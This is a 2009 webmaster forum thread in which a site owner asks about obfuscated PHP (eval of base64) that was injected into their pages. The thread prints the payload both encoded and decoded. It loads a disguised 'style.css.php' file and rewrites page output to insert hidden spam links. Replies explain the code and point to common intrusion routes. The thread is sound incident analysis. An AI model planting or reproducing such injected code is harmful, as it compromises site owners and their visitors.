Forum Moderators: rogerd

Message Too Old, No Replies

My site was hacked

eval hack

         

ronnieb

11:49 pm on May 6, 2009 (gmt 0)

10+ Year Member



My site was hacked and they inserted this code into many of my pages. Can someone tell me what exactly it does?

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hf
bm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9jb250ZW50L
24vdS90L251dHJpYmxlbmR6L2h0bWwvYnV5YnVsa3doZXkvd29yZHByZXNzL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvdGhlbW
zL2FkdmFuY2VkL3NraW5zL2RlZmF1bHQvaW1nL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9jb250ZW50L
24vdS90L251dHJpYmxlbmR6L2h0bWwvYnV5YnVsa3doZXkvd29yZHByZXNzL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvdGhlbWV
zL2FkdmFuY2VkL3NraW5zL2RlZmF1bHQvaW1nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb2
5fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkZCl7JGY9b3JkKHN1YnN0cigkZCwzLDEpKTskaD0xMDskZT0wO2lmKCRmJjQpeyRlPXVucGFjaygndicsc3Vic3RyKCRkL
DEwLDIpKTskZT0kZVsxXTskaCs9MiskZTt9aWYoJGYmOCl7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMTYpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjIpeyRo
Kz0yO30kdT1nemluZmxhdGUoc3Vic3RyKCRkLCRoKSk7aWYoJHU9PT1GQUxTRSl7JHU9JGQ7fXJldHVybiAkdTt9fWZ1bmN0aW9uIGRnb2JoKCRiKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc
6IG5vbmUnKTskYz1nemRlY29kZSgkYik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJGMpKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKS
wkYyk7fWVsc2V7cmV0dXJuIGdtbCgpLiRjO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>

[edited by: rogerd at 3:39 pm (utc) on May 7, 2009]
[edit reason] side scroll [/edit]

stajer

12:19 am on May 7, 2009 (gmt 0)

10+ Year Member



if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home/content/n/u/t/nutriblendz/html/buybulkwhey/wordpress/wp-includes/js/tinymce/themes/advanced/skins/default/img/style.css.php')){include_once('/home/content/n/u/t/nutriblendz/html/buybulkwhey/wordpress/wp-includes/js/tinymce/themes/advanced/skins/default/img/style.css.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\<body/si',$c)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}

ronnieb

4:26 am on May 7, 2009 (gmt 0)

10+ Year Member



Thanks, but what is it for? That script is a little above my level.

BradleyT

5:40 pm on May 7, 2009 (gmt 0)

10+ Year Member



It inserts #*$! and spam links on your site. View the source of one of your pages and you'll see them in a hidden DIV tag.

Your site was most likely hacked because you have an outdated editor such as TinyMCE or FCK Editor.

ronnieb

6:02 pm on May 7, 2009 (gmt 0)

10+ Year Member



Wild! yeah, I just re-loaded all the files from my computer and it's clean now. How do they put that in there in the first place. I checked all my FTP logs and I am the only one that logged in. Can they hack it without doing FTP?

rocknbil

3:25 pm on May 8, 2009 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Google for Cross Site Scripting and mySQL Injection. Also as mentioned, if you're using any open source software, Google for [software name] vulnerability; patches and updates may stop XSS and mySQL injection, but these two are the most common. You don't need to have FTP access to access a site's content in all cases.

If it's shared hosting, it's entirely possible your site may be hacked due to a vulnerability on another site hosted on that server, but the first two options are most likely.

ronnieb

4:58 pm on May 8, 2009 (gmt 0)

10+ Year Member



Thanks